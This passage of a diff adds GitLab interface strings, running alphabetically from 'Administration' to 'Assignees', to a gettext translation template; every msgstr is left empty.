+msgstr ""
+
+msgid "Administration"
+msgstr ""
+
+msgid "Advanced"
+msgstr ""
+
+msgid "Advanced Settings"
+msgstr ""
+
+msgid "Advanced permissions, Large File Storage and Two-Factor authentication settings."
+msgstr ""
+
+msgid "Advanced search functionality"
+msgstr ""
+
+msgid "After a successful password update you will be redirected to login screen."
+msgstr ""
+
+msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
+msgstr ""
+
+msgid "After that, you will not to be able to use merge approvals or code quality as well as many other features."
+msgstr ""
+
+msgid "After that, you will not to be able to use merge approvals or epics as well as many other features."
+msgstr ""
+
+msgid "After that, you will not to be able to use merge approvals or epics as well as many security features."
+msgstr ""
+
+msgid "Alert"
+msgid_plural "Alerts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "AlertManagement|Acknowledged"
+msgstr ""
+
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
+msgid "AlertManagement|Alert"
+msgstr ""
+
+msgid "AlertManagement|Alert assignee(s): %{assignees}"
+msgstr ""
+
+msgid "AlertManagement|Alert detail"
+msgstr ""
+
+msgid "AlertManagement|Alert details"
+msgstr ""
+
+msgid "AlertManagement|Alert status: %{status}"
+msgstr ""
+
+msgid "AlertManagement|Alerts"
+msgstr ""
+
+msgid "AlertManagement|All alerts"
+msgstr ""
+
+msgid "AlertManagement|Assign status"
+msgstr ""
+
+msgid "AlertManagement|Assignees"
+msgstr ""
+
+msgid "AlertManagement|Authorize external service"
+msgstr ""
+
+msgid "AlertManagement|Create incident"
+msgstr ""
+
+msgid "AlertManagement|Critical"
+msgstr ""
+
+msgid "AlertManagement|Display alerts from all your monitoring tools directly within GitLab. Streamline the investigation of your alerts and the escalation of alerts to incidents."
+msgstr ""
+
+msgid "AlertManagement|Edit"
+msgstr ""
+
+msgid "AlertManagement|Events"
+msgstr ""
+
+msgid "AlertManagement|High"
+msgstr ""
+
+msgid "AlertManagement|Info"
+msgstr ""
+
+msgid "AlertManagement|Issue"
+msgstr ""
+
+msgid "AlertManagement|Low"
+msgstr ""
+
+msgid "AlertManagement|Medium"
+msgstr ""
+
+msgid "AlertManagement|Metrics"
+msgstr ""
+
+msgid "AlertManagement|Metrics weren't available in the alerts payload."
+msgstr ""
+
+msgid "AlertManagement|More information"
+msgstr ""
+
+msgid "AlertManagement|No alert data to display."
+msgstr ""
+
+msgid "AlertManagement|No alerts available to display. See %{linkStart}enabling alert management%{linkEnd} for more information on adding alerts to the list."
+msgstr ""
+
+msgid "AlertManagement|No alerts to display."
+msgstr ""
+
+msgid "AlertManagement|None"
+msgstr ""
+
+msgid "AlertManagement|Open"
+msgstr ""
+
+msgid "AlertManagement|Opsgenie is enabled"
+msgstr ""
+
+msgid "AlertManagement|Please try again."
+msgstr ""
+
+msgid "AlertManagement|Reported %{when}"
+msgstr ""
+
+msgid "AlertManagement|Reported %{when} by %{tool}"
+msgstr ""
+
+msgid "AlertManagement|Resolved"
+msgstr ""
+
+msgid "AlertManagement|Runbook"
+msgstr ""
+
+msgid "AlertManagement|Service"
+msgstr ""
+
+msgid "AlertManagement|Severity"
+msgstr ""
+
+msgid "AlertManagement|Start time"
+msgstr ""
+
+msgid "AlertManagement|Status"
+msgstr ""
+
+msgid "AlertManagement|Surface alerts in GitLab"
+msgstr ""
+
+msgid "AlertManagement|There was an error displaying the alert. Please refresh the page to try again."
+msgstr ""
+
+msgid "AlertManagement|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
+msgstr ""
+
+msgid "AlertManagement|There was an error while updating the To-Do of the alert."
+msgstr ""
+
+msgid "AlertManagement|There was an error while updating the assignee(s) list. Please try again."
+msgstr ""
+
+msgid "AlertManagement|There was an error while updating the assignee(s) of the alert. Please try again."
+msgstr ""
+
+msgid "AlertManagement|There was an error while updating the status of the alert."
+msgstr ""
+
+msgid "AlertManagement|This assignee cannot be assigned to this alert."
+msgstr ""
+
+msgid "AlertManagement|Tool"
+msgstr ""
+
+msgid "AlertManagement|Triggered"
+msgstr ""
+
+msgid "AlertManagement|Unknown"
+msgstr ""
+
+msgid "AlertManagement|View alerts in Opsgenie"
+msgstr ""
+
+msgid "AlertManagement|View incident"
+msgstr ""
+
+msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
+msgstr ""
+
+msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertService|You must provide this URL and authorization key to authorize an external service to send alerts to GitLab. You can provide this URL and key to multiple services. After configuring an external service, alerts from your service will display on the GitLab %{linkStart}Alerts%{linkEnd} page."
+msgstr ""
+
+msgid "AlertSettings|API URL"
+msgstr ""
+
+msgid "AlertSettings|Active"
+msgstr ""
+
+msgid "AlertSettings|Add URL and auth key to your Prometheus config file"
+msgstr ""
+
+msgid "AlertSettings|Alert test payload"
+msgstr ""
+
+msgid "AlertSettings|Alerts endpoint successfully activated."
+msgstr ""
+
+msgid "AlertSettings|Authorization key"
+msgstr ""
+
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
+msgstr ""
+
+msgid "AlertSettings|Copy"
+msgstr ""
+
+msgid "AlertSettings|Enter test alert JSON...."
+msgstr ""
+
+msgid "AlertSettings|External Prometheus"
+msgstr ""
+
+msgid "AlertSettings|Generic"
+msgstr ""
+
+msgid "AlertSettings|Integrations"
+msgstr ""
+
+msgid "AlertSettings|Learn more about our %{linkStart}upcoming integrations%{linkEnd}"
+msgstr ""
+
+msgid "AlertSettings|Opsgenie"
+msgstr ""
+
+msgid "AlertSettings|Reset key"
+msgstr ""
+
+msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
+msgstr ""
+
+msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Test alert payload"
+msgstr ""
+
+msgid "AlertSettings|Test alert sent successfully. If you have made other changes, please save them now."
+msgstr ""
+
+msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
+msgstr ""
+
+msgid "AlertSettings|There was an error updating the alert settings"
+msgstr ""
+
+msgid "AlertSettings|There was an error while trying to reset the key. Please refresh the page to try again."
+msgstr ""
+
+msgid "AlertSettings|URL cannot be blank and must start with http or https"
+msgstr ""
+
+msgid "AlertSettings|Webhook URL"
+msgstr ""
+
+msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
+msgstr ""
+
+msgid "AlertSettings|You must provide this URL and authorization key to authorize an external service to send alerts to GitLab. You can provide this URL and key to multiple services. After configuring an external service, alerts from your service will display on the GitLab %{linkStart}Alerts%{linkEnd} page."
+msgstr ""
+
+msgid "AlertSettings|Your changes were successfully updated."
+msgstr ""
+
+msgid "Alerts"
+msgstr ""
+
+msgid "Alerts endpoint"
+msgstr ""
+
+msgid "Algorithm"
+msgstr ""
+
+msgid "All"
+msgstr ""
+
+msgid "All %{replicableType} are being scheduled for %{action}"
+msgstr ""
+
+msgid "All (default)"
+msgstr ""
+
+msgid "All Members"
+msgstr ""
+
+msgid "All branches"
+msgstr ""
+
+msgid "All changes are committed"
+msgstr ""
+
+msgid "All default stages are currently visible"
+msgstr ""
+
+msgid "All email addresses will be used to identify your commits."
+msgstr ""
+
+msgid "All environments"
+msgstr ""
+
+msgid "All epics"
+msgstr ""
+
+msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
+msgstr ""
+
+msgid "All groups and projects"
+msgstr ""
+
+msgid "All issues for this milestone are closed."
+msgstr ""
+
+msgid "All issues for this milestone are closed. You may close this milestone now."
+msgstr ""
+
+msgid "All merge conflicts were resolved. The merge request can now be merged."
+msgstr ""
+
+msgid "All merge request dependencies have been merged"
+msgstr ""
+
+msgid "All paths are relative to the GitLab URL. Do not include %{relative_url_link_start}relative URL%{relative_url_link_end}."
+msgstr ""
+
+msgid "All projects"
+msgstr ""
+
+msgid "All security scans are enabled because %{linkStart}Auto DevOps%{linkEnd} is enabled on this project"
+msgstr ""
+
+msgid "All threads resolved"
+msgstr ""
+
+msgid "All users"
+msgstr ""
+
+msgid "All users must have a name."
+msgstr ""
+
+msgid "Allow \"%{group_name}\" to sign you in"
+msgstr ""
+
+msgid "Allow access to the following IP addresses"
+msgstr ""
+
+msgid "Allow commits from members who can merge to the target branch."
+msgstr ""
+
+msgid "Allow group owners to manage LDAP-related settings"
+msgstr ""
+
+msgid "Allow only the selected protocols to be used for Git access."
+msgstr ""
+
+msgid "Allow owners to manage default branch protection per group"
+msgstr ""
+
+msgid "Allow owners to manually add users outside of LDAP"
+msgstr ""
+
+msgid "Allow projects within this group to use Git LFS"
+msgstr ""
+
+msgid "Allow public access to pipelines and job details, including output logs and artifacts"
+msgstr ""
+
+msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
+msgstr ""
+
+msgid "Allow repository mirroring to be configured by project maintainers"
+msgstr ""
+
+msgid "Allow requests to the local network from hooks and services."
+msgstr ""
+
+msgid "Allow requests to the local network from system hooks"
+msgstr ""
+
+msgid "Allow requests to the local network from web hooks and services"
+msgstr ""
+
+msgid "Allow this key to push to repository as well? (Default only allows pull access.)"
+msgstr ""
+
+msgid "Allow this secondary node to replicate content on Object Storage"
+msgstr ""
+
+msgid "Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "Allow users to register any application to use GitLab as an OAuth provider"
+msgstr ""
+
+msgid "Allow users to request access (if visibility is public or internal)"
+msgstr ""
+
+msgid "Allowed"
+msgstr ""
+
+msgid "Allowed Geo IP"
+msgstr ""
+
+msgid "Allowed email domain restriction only permitted for top-level groups"
+msgstr ""
+
+msgid "Allowed to fail"
+msgstr ""
+
+msgid "Allows you to add and manage Kubernetes clusters."
+msgstr ""
+
+msgid "Almost there"
+msgstr ""
+
+msgid "Also called \"Issuer\" or \"Relying party trust identifier\""
+msgstr ""
+
+msgid "Also called \"Relying party service URL\" or \"Reply URL\""
+msgstr ""
+
+msgid "Also unassign this user from related issues and merge requests"
+msgstr ""
+
+msgid "Alternate support URL for help page and help dropdown"
+msgstr ""
+
+msgid "Alternatively, you can convert your account to a managed account by the %{group_name} group."
+msgstr ""
+
+msgid "Amazon EKS"
+msgstr ""
+
+msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
+msgstr ""
+
+msgid "Amazon Web Services"
+msgstr ""
+
+msgid "Amazon Web Services Logo"
+msgstr ""
+
+msgid "Amazon authentication is not %{link_start}correctly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
+msgstr ""
+
+msgid "Amount of time (in hours) that users are allowed to skip forced configuration of two-factor authentication"
+msgstr ""
+
+msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
+msgstr ""
+
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
+msgid "An alert has been triggered in %{project_path}."
+msgstr ""
+
+msgid "An application called %{link_to_client} is requesting access to your GitLab account."
+msgstr ""
+
+msgid "An email notification was recently sent from the admin panel. Please wait %{wait_time_in_words} before attempting to send another message."
+msgstr ""
+
+msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
+msgstr ""
+
+msgid "An error has occurred"
+msgstr ""
+
+msgid "An error occurred adding a draft to the thread."
+msgstr ""
+
+msgid "An error occurred adding a new draft."
+msgstr ""
+
+msgid "An error occurred creating the new branch."
+msgstr ""
+
+msgid "An error occurred fetching the approval rules."
+msgstr ""
+
+msgid "An error occurred fetching the approvers for the new rule."
+msgstr ""
+
+msgid "An error occurred fetching the dropdown data."
+msgstr ""
+
+msgid "An error occurred fetching the project authors."
+msgstr ""
+
+msgid "An error occurred previewing the blob"
+msgstr ""
+
+msgid "An error occurred when toggling the notification subscription"
+msgstr ""
+
+msgid "An error occurred when trying to resolve a comment. Please try again."
+msgstr ""
+
+msgid "An error occurred when trying to resolve a discussion. Please try again."
+msgstr ""
+
+msgid "An error occurred when updating the issue weight"
+msgstr ""
+
+msgid "An error occurred while acknowledging the notification. Refresh the page and try again."
+msgstr ""
+
+msgid "An error occurred while adding approvers"
+msgstr ""
+
+msgid "An error occurred while adding formatted title for epic"
+msgstr ""
+
+msgid "An error occurred while checking group path. Please refresh and try again."
+msgstr ""
+
+msgid "An error occurred while committing your changes."
+msgstr ""
+
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
+msgid "An error occurred while decoding the file."
+msgstr ""
+
+msgid "An error occurred while deleting the approvers group"
+msgstr ""
+
+msgid "An error occurred while deleting the comment"
+msgstr ""
+
+msgid "An error occurred while deleting the pipeline."
+msgstr ""
+
+msgid "An error occurred while detecting host keys"
+msgstr ""
+
+msgid "An error occurred while disabling Service Desk."
+msgstr ""
+
+msgid "An error occurred while dismissing the alert. Refresh the page and try again."
+msgstr ""
+
+msgid "An error occurred while dismissing the feature highlight. Refresh the page and try dismissing again."
+msgstr ""
+
+msgid "An error occurred while enabling Service Desk."
+msgstr ""
+
+msgid "An error occurred while fetching branches. Retry the search."
+msgstr ""
+
+msgid "An error occurred while fetching commits. Retry the search."
+msgstr ""
+
+msgid "An error occurred while fetching coverage reports."
+msgstr ""
+
+msgid "An error occurred while fetching environments."
+msgstr ""
+
+msgid "An error occurred while fetching exposed artifacts."
+msgstr ""
+
+msgid "An error occurred while fetching folder content."
+msgstr ""
+
+msgid "An error occurred while fetching issues."
+msgstr ""
+
+msgid "An error occurred while fetching label colors."
+msgstr ""
+
+msgid "An error occurred while fetching markdown preview"
+msgstr ""
+
+msgid "An error occurred while fetching pending comments"
+msgstr ""
+
+msgid "An error occurred while fetching projects autocomplete."
+msgstr ""
+
+msgid "An error occurred while fetching sidebar data"
+msgstr ""
+
+msgid "An error occurred while fetching tags. Retry the search."
+msgstr ""
+
+msgid "An error occurred while fetching terraform reports."
+msgstr ""
+
+msgid "An error occurred while fetching the Service Desk address."
+msgstr ""
+
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please try again."
+msgstr ""
+
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the builds."
+msgstr ""
+
+msgid "An error occurred while fetching the job log."
+msgstr ""
+
+msgid "An error occurred while fetching the job trace."
+msgstr ""
+
+msgid "An error occurred while fetching the job."
+msgstr ""
+
+msgid "An error occurred while fetching the jobs."
+msgstr ""
+
+msgid "An error occurred while fetching the latest pipeline."
+msgstr ""
+
+msgid "An error occurred while fetching the pipeline."
+msgstr ""
+
+msgid "An error occurred while fetching the releases. Please try again."
+msgstr ""
+
+msgid "An error occurred while fetching this tab."
+msgstr ""
+
+msgid "An error occurred while generating a username. Please try again."
+msgstr ""
+
+msgid "An error occurred while getting files for - %{branchId}"
+msgstr ""
+
+msgid "An error occurred while getting projects"
+msgstr ""
+
+msgid "An error occurred while importing project: %{details}"
+msgstr ""
+
+msgid "An error occurred while initializing path locks"
+msgstr ""
+
+msgid "An error occurred while loading all the files."
+msgstr ""
+
+msgid "An error occurred while loading chart data"
+msgstr ""
+
+msgid "An error occurred while loading commit signatures"
+msgstr ""
+
+msgid "An error occurred while loading designs. Please try again."
+msgstr ""
+
+msgid "An error occurred while loading diff"
+msgstr ""
+
+msgid "An error occurred while loading filenames"
+msgstr ""
+
+msgid "An error occurred while loading group members."
+msgstr ""
+
+msgid "An error occurred while loading issues"
+msgstr ""
+
+msgid "An error occurred while loading merge requests."
+msgstr ""
+
+msgid "An error occurred while loading milestones"
+msgstr ""
+
+msgid "An error occurred while loading project creation UI"
+msgstr ""
+
+msgid "An error occurred while loading the data. Please try again."
+msgstr ""
+
+msgid "An error occurred while loading the file"
+msgstr ""
+
+msgid "An error occurred while loading the file content."
+msgstr ""
+
+msgid "An error occurred while loading the file."
+msgstr ""
+
+msgid "An error occurred while loading the file. Please try again later."
+msgstr ""
+
+msgid "An error occurred while loading the merge request changes."
+msgstr ""
+
+msgid "An error occurred while loading the merge request version data."
+msgstr ""
+
+msgid "An error occurred while loading the merge request."
+msgstr ""
+
+msgid "An error occurred while loading the pipelines jobs."
+msgstr ""
+
+msgid "An error occurred while loading the subscription details."
+msgstr ""
+
+msgid "An error occurred while making the request."
+msgstr ""
+
+msgid "An error occurred while moving the issue."
+msgstr ""
+
+msgid "An error occurred while parsing recent searches"
+msgstr ""
+
+msgid "An error occurred while parsing the file."
+msgstr ""
+
+msgid "An error occurred while removing epics."
+msgstr ""
+
+msgid "An error occurred while removing issues."
+msgstr ""
+
+msgid "An error occurred while rendering preview broadcast message"
+msgstr ""
+
+msgid "An error occurred while rendering the editor"
+msgstr ""
+
+msgid "An error occurred while reordering issues."
+msgstr ""
+
+msgid "An error occurred while requesting data from the Jira service"
+msgstr ""
+
+msgid "An error occurred while retrieving calendar activity"
+msgstr ""
+
+msgid "An error occurred while retrieving diff"
+msgstr ""
+
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
+msgstr ""
+
+msgid "An error occurred while saving the template. Please check if the template exists."
+msgstr ""
+
+msgid "An error occurred while searching for milestones"
+msgstr ""
+
+msgid "An error occurred while subscribing to notifications."
+msgstr ""
+
+msgid "An error occurred while triggering the job."
+msgstr ""
+
+msgid "An error occurred while trying to run a new pipeline for this Merge Request."
+msgstr ""
+
+msgid "An error occurred while unsubscribing to notifications."
+msgstr ""
+
+msgid "An error occurred while updating approvers"
+msgstr ""
+
+msgid "An error occurred while updating the comment"
+msgstr ""
+
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
+msgid "An error occurred while validating group path"
+msgstr ""
+
+msgid "An error occurred while validating username"
+msgstr ""
+
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
+msgid "An error occurred. Please try again."
+msgstr ""
+
+msgid "An error ocurred while loading your content. Please try again."
+msgstr ""
+
+msgid "An example project for managing Kubernetes clusters integrated with GitLab."
+msgstr ""
+
+msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
+msgstr ""
+
+msgid "An instance-level serverless domain already exists."
+msgstr ""
+
+msgid "An issue already exists"
+msgstr ""
+
+msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
+msgstr ""
+
+msgid "An unauthenticated user"
+msgstr ""
+
+msgid "An unexpected error occurred while checking the project environment."
+msgstr ""
+
+msgid "An unexpected error occurred while checking the project runners."
+msgstr ""
+
+msgid "An unexpected error occurred while communicating with the Web Terminal."
+msgstr ""
+
+msgid "An unexpected error occurred while starting the Web Terminal."
+msgstr ""
+
+msgid "An unexpected error occurred while stopping the Web Terminal."
+msgstr ""
+
+msgid "An unknown error occurred while loading this graph."
+msgstr ""
+
+msgid "Analytics"
+msgstr ""
+
+msgid "Analyze a review version of your web application."
+msgstr ""
+
+msgid "Analyze your dependencies for known vulnerabilities."
+msgstr ""
+
+msgid "Analyze your source code and git history for secrets."
+msgstr ""
+
+msgid "Analyze your source code for known vulnerabilities."
+msgstr ""
+
+msgid "Ancestors"
+msgstr ""
+
+msgid "Anonymous"
+msgstr ""
+
+msgid "Another action is currently in progress"
+msgstr ""
+
+msgid "Another issue tracker is already in use. Only one issue tracker service can be active at a time"
+msgstr ""
+
+msgid "Anti-spam verification"
+msgstr ""
+
+msgid "Any"
+msgstr ""
+
+msgid "Any Author"
+msgstr ""
+
+msgid "Any Status"
+msgstr ""
+
+msgid "Any branch"
+msgstr ""
+
+msgid "Any eligible user"
+msgstr ""
+
+msgid "Any encrypted tokens"
+msgstr ""
+
+msgid "Any files larger than this limit will not be indexed, and thus will not be searchable."
+msgstr ""
+
+msgid "Any label"
+msgstr ""
+
+msgid "Any member with Developer or higher permissions to the project."
+msgstr ""
+
+msgid "Any milestone"
+msgstr ""
+
+msgid "Any namespace"
+msgstr ""
+
+msgid "Any user"
+msgstr ""
+
+msgid "App ID"
+msgstr ""
+
+msgid "Appearance"
+msgstr ""
+
+msgid "Appearance was successfully created."
+msgstr ""
+
+msgid "Appearance was successfully updated."
+msgstr ""
+
+msgid "Append the comment with %{shrug}"
+msgstr ""
+
+msgid "Append the comment with %{tableflip}"
+msgstr ""
+
+msgid "Application"
+msgstr ""
+
+msgid "Application ID"
+msgstr ""
+
+msgid "Application settings saved successfully"
+msgstr ""
+
+msgid "Application settings update failed"
+msgstr ""
+
+msgid "Application uninstalled but failed to destroy: %{error_message}"
+msgstr ""
+
+msgid "Application was successfully destroyed."
+msgstr ""
+
+msgid "Application was successfully updated."
+msgstr ""
+
+msgid "Application: %{name}"
+msgstr ""
+
+msgid "Applications"
+msgstr ""
+
+msgid "Applied"
+msgstr ""
+
+msgid "Apply"
+msgstr ""
+
+msgid "Apply a label"
+msgstr ""
+
+msgid "Apply a template"
+msgstr ""
+
+msgid "Apply changes"
+msgstr ""
+
+msgid "Apply suggestion"
+msgstr ""
+
+msgid "Apply suggestions"
+msgstr ""
+
+msgid "Apply template"
+msgstr ""
+
+msgid "Apply this approval rule to any branch or a specific protected branch."
+msgstr ""
+
+msgid "Applying"
+msgstr ""
+
+msgid "Applying a template will replace the existing issue description. Any changes you have made will be lost."
+msgstr ""
+
+msgid "Applying command"
+msgstr ""
+
+msgid "Applying command to %{commandDescription}"
+msgstr ""
+
+msgid "Applying multiple commands"
+msgstr ""
+
+msgid "Applying suggestion..."
+msgstr ""
+
+msgid "Applying suggestions..."
+msgstr ""
+
+msgid "Approval Status"
+msgstr ""
+
+msgid "Approval rules"
+msgstr ""
+
+msgid "Approval rules reset to project defaults"
+msgstr ""
+
+msgid "ApprovalRuleRemove|%d member"
+msgid_plural "ApprovalRuleRemove|%d members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ApprovalRuleRemove|Approvals from this member are not revoked."
+msgid_plural "ApprovalRuleRemove|Approvals from these members are not revoked."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ApprovalRuleRemove|You are about to remove the %{name} approver group which has %{nMembers}."
+msgstr ""
+
+msgid "ApprovalRuleSummary|%d member"
+msgid_plural "ApprovalRuleSummary|%d members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
+msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ApprovalRule|Approvers"
+msgstr ""
+
+msgid "ApprovalRule|Name"
+msgstr ""
+
+msgid "ApprovalRule|No. approvals required"
+msgstr ""
+
+msgid "ApprovalRule|Rule name"
+msgstr ""
+
+msgid "ApprovalRule|Target branch"
+msgstr ""
+
+msgid "ApprovalRule|e.g. QA, Security, etc."
+msgstr ""
+
+msgid "ApprovalStatusTooltip|Adheres to separation of duties"
+msgstr ""
+
+msgid "ApprovalStatusTooltip|At least one rule does not adhere to separation of duties"
+msgstr ""
+
+msgid "ApprovalStatusTooltip|Fails to adhere to separation of duties"
+msgstr ""
+
+msgid "Approvals|Section: %section"
+msgstr ""
+
+msgid "Approve"
+msgstr ""
+
+msgid "Approve a merge request"
+msgstr ""
+
+msgid "Approve the current merge request."
+msgstr ""
+
+msgid "Approved"
+msgstr ""
+
+msgid "Approved MRs"
+msgstr ""
+
+msgid "Approved the current merge request."
+msgstr ""
+
+msgid "Approved-By"
+msgstr ""
+
+msgid "Approver"
+msgstr ""
+
+msgid "Approvers"
+msgstr ""
+
+msgid "Apr"
+msgstr ""
+
+msgid "April"
+msgstr ""
+
+msgid "Architecture not found for OS"
+msgstr ""
+
+msgid "Archive"
+msgstr ""
+
+msgid "Archive jobs"
+msgstr ""
+
+msgid "Archive project"
+msgstr ""
+
+msgid "Archived"
+msgstr ""
+
+msgid "Archived in this version"
+msgstr ""
+
+msgid "Archived project! Repository and other project resources are read only"
+msgstr ""
+
+msgid "Archived project! Repository and other project resources are read-only"
+msgstr ""
+
+msgid "Archived projects"
+msgstr ""
+
+msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end}"
+msgstr ""
+
+msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
+msgstr ""
+
+msgid "Are you sure that you want to archive this project?"
+msgstr ""
+
+msgid "Are you sure that you want to unarchive this project?"
+msgstr ""
+
+msgid "Are you sure you want to cancel editing this comment?"
+msgstr ""
+
+msgid "Are you sure you want to close this blocked issue?"
+msgstr ""
+
+msgid "Are you sure you want to delete %{name}?"
+msgstr ""
+
+msgid "Are you sure you want to delete these artifacts?"
+msgstr ""
+
+msgid "Are you sure you want to delete this %{typeOfComment}?"
+msgstr ""
+
+msgid "Are you sure you want to delete this board?"
+msgstr ""
+
+msgid "Are you sure you want to delete this device? This action cannot be undone."
+msgstr ""
+
+msgid "Are you sure you want to delete this list?"
+msgstr ""
+
+msgid "Are you sure you want to delete this pipeline schedule?"
+msgstr ""
+
+msgid "Are you sure you want to delete this pipeline? Doing so will expire all pipeline caches and delete all related objects, such as builds, logs, artifacts, and triggers. This action cannot be undone."
+msgstr ""
+
+msgid "Are you sure you want to deploy this environment?"
+msgstr ""
+
+msgid "Are you sure you want to discard this comment?"
+msgstr ""
+
+msgid "Are you sure you want to erase this build?"
+msgstr ""
+
+msgid "Are you sure you want to lose unsaved changes?"
+msgstr ""
+
+msgid "Are you sure you want to lose your issue information?"
+msgstr ""
+
+msgid "Are you sure you want to merge immediately?"
+msgstr ""
+
+msgid "Are you sure you want to permanently delete this license?"
+msgstr ""
+
+msgid "Are you sure you want to re-deploy this environment?"
+msgstr ""
+
+msgid "Are you sure you want to regenerate the public key? You will have to update the public key on the remote server before mirroring will work again."
+msgstr ""
+
+msgid "Are you sure you want to remove %{group_name}?"
+msgstr ""
+
+msgid "Are you sure you want to remove the attachment?"
+msgstr ""
+
+msgid "Are you sure you want to remove the license?"
+msgstr ""
+
+msgid "Are you sure you want to remove this identity?"
+msgstr ""
+
+msgid "Are you sure you want to reset registration token?"
+msgstr ""
+
+msgid "Are you sure you want to reset the SCIM token? SCIM provisioning will stop working until the new token is updated."
+msgstr ""
+
+msgid "Are you sure you want to reset the health check token?"
+msgstr ""
+
+msgid "Are you sure you want to revoke this %{type}? This action cannot be undone."
+msgstr ""
+
+msgid "Are you sure you want to revoke this nickname?"
+msgstr ""
+
+msgid "Are you sure you want to stop this environment?"
+msgstr ""
+
+msgid "Are you sure you want to unlock %{path_lock_path}?"
+msgstr ""
+
+msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
+msgstr ""
+
+msgid "Are you sure?"
+msgstr ""
+
+msgid "Are you sure? All commits that were signed with this GPG key will be unverified."
+msgstr ""
+
+msgid "Are you sure? Removing this GPG key does not affect already signed commits."
+msgstr ""
+
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
+msgstr ""
+
+msgid "Are you sure? This will invalidate your registered applications and U2F devices."
+msgstr ""
+
+msgid "Arrange charts"
+msgstr ""
+
+msgid "Artifact"
+msgstr ""
+
+msgid "Artifact could not be deleted."
+msgstr ""
+
+msgid "Artifact was successfully deleted."
+msgstr ""
+
+msgid "Artifacts"
+msgstr ""
+
+msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
+msgstr ""
+
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
+msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
+msgstr ""
+
+msgid "AsanaService|Asana - Teamwork without email"
+msgstr ""
+
+msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgstr ""
+
+msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgstr ""
+
+msgid "Ascending"
+msgstr ""
+
+msgid "Ask your group maintainer to set up a group Runner."
+msgstr ""
+
+msgid "Assertion consumer service URL"
+msgstr ""
+
+msgid "Assets"
+msgstr ""
+
+msgid "Assets:"
+msgstr ""
+
+msgid "Assign"
+msgstr ""
+
+msgid "Assign Iteration"
+msgstr ""
+
+msgid "Assign To"
+msgstr ""
+
+msgid "Assign custom color like #FF0000"
+msgstr ""
+
+msgid "Assign epic"
+msgstr ""
+
+msgid "Assign labels"
+msgstr ""
+
+msgid "Assign milestone"
+msgstr ""
+
+msgid "Assign some issues to this milestone."
+msgstr ""
+
+msgid "Assign to"
+msgstr ""
+
+msgid "Assign to commenting user"
+msgstr ""
+
+msgid "Assign yourself to these issues"
+msgstr ""
+
+msgid "Assign yourself to this issue"
+msgstr ""
+
+msgid "Assigned %{assignee_users_sentence}."
+msgstr ""
+
+msgid "Assigned Issues"
+msgstr ""
+
+msgid "Assigned Merge Requests"
+msgstr ""
+
+msgid "Assigned to %{assigneeName}"
+msgstr ""
+
+msgid "Assigned to %{assignee_name}"
+msgstr ""
+
+msgid "Assigned to me"
+msgstr ""
+
+msgid "Assignee"
+msgid_plural "%d Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Assignee has no permissions"
+msgstr ""
+
+msgid "Assignee lists not available with your current license"
+msgstr ""
+
+msgid "Assignee lists show all issues assigned to the selected user."
+msgstr ""
+
+msgid "Assignee(s)"
+msgstr ""
+
+msgid "Assignees"
+msgstr ""
+
